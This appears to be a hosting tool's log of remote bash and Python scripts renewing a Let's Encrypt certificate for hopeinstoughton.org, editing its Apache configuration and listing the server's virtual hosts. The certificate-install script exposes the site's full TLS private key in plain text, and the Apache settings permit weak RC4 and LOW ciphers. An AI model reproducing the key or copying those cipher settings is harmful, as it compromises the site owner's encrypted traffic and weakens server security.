kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-14 06:01:27: Establishing a connection
2025-12-14 06:01:28: Establishing a connection
2025-12-14 06:01:29:
PUT: /tmp/pkp869140
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-14 06:01:30:
chmod 755 /tmp/pkp869140; /tmp/pkp869140; rm /tmp/pkp869140
2025-12-14 06:01:30:
0
2025-12-15 06:00:03: Establishing a connection
2025-12-15 06:00:03: Establishing a connection
2025-12-15 06:00:03:
PUT: /tmp/pkp932231
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-15 06:00:05:
chmod 755 /tmp/pkp932231; /tmp/pkp932231; rm /tmp/pkp932231
2025-12-15 06:00:05:
1
2025-12-15 06:00:06: Establishing a connection
2025-12-15 06:00:06:
PUT: /tmp/pkp698244
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cat > g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE
cat > xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo
2025-12-15 06:00:06:
chmod 755 /tmp/pkp698244; /tmp/pkp698244; rm /tmp/pkp698244
2025-12-15 06:00:06:
2025-12-15 06:00:17: Establishing a connection
2025-12-15 06:00:17:
PUT: /tmp/pkp773008
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
rm g0YTyLGrRsUQDztVkHs3NKVdjm4tBJ1j-5hdgO5aQKE
rm xkApX3xVD9nDKR0f0AGgfyCcfX63-N4jMCsYXDVkgPo
2025-12-15 06:00:17:
chmod 755 /tmp/pkp773008; /tmp/pkp773008; rm /tmp/pkp773008
2025-12-15 06:00:17:
2025-12-15 06:00:17: Establishing a connection
2025-12-15 06:00:17:
PUT: /tmp/pkp521193
#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7.crt
cat > $temp_file <<'endmsg'
19:af:73:e6:a0:15:48:7b:38:99:17:a8:8c:1a:4e:fd
-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgISBXEG3cXF6jPlfkZ1ZP6cNb/mMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTQ2WhcNMjYwMzE1MDUwMTQ1WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAmvaYOOcC4QS2sBNPi1TyGSEF4STz3lRt+oWMrsN9UMwhWaauW0YLJIWU
UKdkdGPfavzmHgzT3qTmZ60Zn8JfKgduIWvrrqRmvb0s8+uk8dIzCtb8rPrjOSuQ
SLfQl9btiE+794FJW1bk6vnHLeX/7wm9x2H7T+kYWxTrjq5p6j0gjKuSoR5eD23w
xLkfACvWfrCmXb8s66L+T4VPg+Xq+VH3CO8QnoKvUD2+MlPobsZPqBtTN5SKaxUL
+1OnbT1SmnRRKLixbE0EyUnIaBC5Lsuo+rDj3BXBXzw1EwSDxthbfvKaWkELbgZm
Ln6OtZQWBg/WaBMP80ccopsL4W6B9wIDAQABo4ICRjCCAkIwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRZ8Adtli2J1l2/SR1PWv0VDqO8eTAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAz
LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmyCYY0YAAAQDAEcwRQIgIuGX4AG2AjhQKtM4DY8M
112TgeWj6XwSee7R4ASoS5UCIQCa3zgn5CLy56JUBoS+lbKiqxOZZFLo7VW8ucsf
OUTtUwB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABmyCYZUsA
CAAABQAkjmC0BAMASDBGAiEArymdMI46G1SSsbGPr1XovGxgeee+nL0W0kwQ3fMP
PXICIQC2Z2aiS0dVE9kVGzp8tchblLqmBxKyg0f24wDMfebXJjANBgkqhkiG9w0B
AQsFAAOCAQEAWZrMjJTAOlDkGeybly+Wt+ADjM+4KQ+ba46trkmtBw7GIJfLFifj
okGBsvvSWjL7O9PhN6sd7YFB79Bh+NKxj1D/3Ig+hKyaFt6YBAlWRe3NEZsTMp3A
B8D6M8FAxb9+W0eGSuXxcUNPYDYQJHR011Etva7cGX9b8D6jr6wy1m/pQ1dxN5p6
GVtTVcuo/nEgsilNK9blDq9L91pO0HCp0anP4frDKIwFKQ0cpdEkmhBjydDuxkOd
Wo7MIFgR1mJPe+cdkz415TQvItJ7QY517KprplrfLYpUWqEzlRF7y2t7f1mFwrEP
x2reG3zafStL71tYxcQYbE7kPHiyl6j/mQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCa9pg45wLhBLaw
E0+LVPIZIQXhJPPeVG36hYyuw31QzCFZpq5bRgskhZRQp2R0Y99q/OYeDNPepOZn
rRmfwl8qB24ha+uupGa9vSzz66Tx0jMK1vys+uM5K5BIt9CX1u2IT7v3gUlbVuTq
+cct5f/vCb3HYftP6RhbFOuOrmnqPSCMq5KhHl4PbfDEuR8AK9Z+sKZdvyzrov5P
hU+D5er5UfcI7xCegq9QPb4yU+huxk+oG1M3lIprFQv7U6dtPVKadFEouLFsTQTJ
SchoELkuy6j6sOPcFcFfPDUTBIPG2Ft+8ppaQQtuBmYufo61lBYGD9ZoEw/zRxyi
mwvhboH3AgMBAAECggEAHcFL6WEyRFLLYXPTykU9V2Xn4xtdWEuN8pTCNqyC24jW
vogq4ovIh/K+T95Ug6TJuZll9k8wP4gaVb3/NZX0//T9SJ2YW6hlsfkpMI0G1wgt
lN9DFVP3XXrn8Y6aFw3F/m6RAS1qEIfW3OepPz7yrcuJDUfbIbT4YETcFkGXRMq7
fjb5DjO+GHuQ1NBIXst5IGGSN68EeHZIW8mJtMW1Ge+pPPb6qwh47s+vG33Woecn
/s5lk1AYZHaUhp9xQaoKAgg++7G/TLrgU9jmiqOJCtul4uQvOUiJOGK3nGQBxkTC
5pnA91nQpBTIW0d+AldMPjENpaMlyeVLmKogytLZQQKBgQDJz6Xkb3aKvCF8y5Qa
4rSzX+KhqTHJ8KqtVZO1LGKEh1Q+jL55zOx6mZtD666U2+6lNIGUCBFKHQ4JlKtj
78QGYZwAXzTfDwp5P8nMTr94eMXrLtgNtyo6V/Kxl/QsMV0EemwuCtCN70B/CrE4
gG1krLgzwIN31vZukBtA8yCkWwKBgQDEkqhxDw5ErHMo8H8SdJ6F/eAHxZ2Tpu/W
OTaoiQAGmE1m2udcWhEpVfNnqIS75jary4Qs14Op/0dv0s2I9dbNXB12TSlvxV+S
4vxGPT35TE38UhIUhw+bMLUWyMhyELXnoXsKJtvnKQ7ivpOyxeMujVA701LR8hni
rksyLI/blQKBgFCxu9aMjyzILue0i0L41WJH+9nCSotBtS1b45T062uspQ3hvyP6
wbAADapp6cPR8SmTxiBH3Ynx9jP0g1eRfqNCkls/tmden0R+MhWEg2ELgbAZagCJ
9dOgaQWECflFv7jTrr/2SRAH05U41EYQbC1uNrVSy/62MJFjA9LDpJCzAoGAI/Ht
ez8VjNk79bCEjAtnMXlLDiDEv8s28CVmKUtkBdCz1qsQw4J0wOpGqB3Yp8NhG+kL
Mmf2W4+isIALtY++x66gdJGHkji1UVbQaseoHX4mhI09YSORZv9xHcl5XeJQYRrW
NPUGIS8Q2cWfnIEzGcAde9MYwetTcHAOsA4WAEECgYEAg4wforSWLwnfiuhfp37N
jtN7cyNgDTkswYoYp/kwlsJURVewljtsC0+7oxRtN9kpMS0eRC4fhI1p4C+XEn6O
sbDABqPkt31gcRSSAkjJLXBXu9OiqAAiEe3dKQft9bVuvdOOarCABpRLZUcwr7hr
3IU+uPXQ4MC89MYl09eGC74=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-15 06:00:17:
chmod 755 /tmp/pkp521193; /tmp/pkp521193; rm /tmp/pkp521193
2025-12-15 06:00:17:
dir=/etc/ssl/certs
2025-12-15 06:00:17:
PUT: /tmp/pkp305244
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-15 06:00:17:
chmod 755 /tmp/pkp305244; /tmp/pkp305244; rm /tmp/pkp305244
2025-12-15 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 47
<VirtualHost *:80>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.php index.html index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-12-15 06:00:17:
PUT: /tmp/pkp521635
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_www_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.php index.html index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf= 1'
fi
2025-12-15 06:00:17:
chmod 755 /tmp/pkp521635; /tmp/pkp521635; rm /tmp/pkp521635
2025-12-15 06:00:17:
2025-12-15 06:00:17:
PUT: /tmp/pkp786037
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-15 06:00:17:
chmod 755 /tmp/pkp786037; /tmp/pkp786037; rm /tmp/pkp786037
2025-12-15 06:00:18:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:00:18: Establishing a connection
2025-12-15 06:00:18:
PUT: /tmp/pkp346978
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-15 06:00:18:
chmod 755 /tmp/pkp346978; /tmp/pkp346978; rm /tmp/pkp346978
2025-12-15 06:00:18:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:00:18:
PUT: /tmp/pkp563816
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:00:18:
chmod 755 /tmp/pkp563816; /tmp/pkp563816; rm /tmp/pkp563816
2025-12-15 06:00:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 1690
<VirtualHost *:80>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.php index.html index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
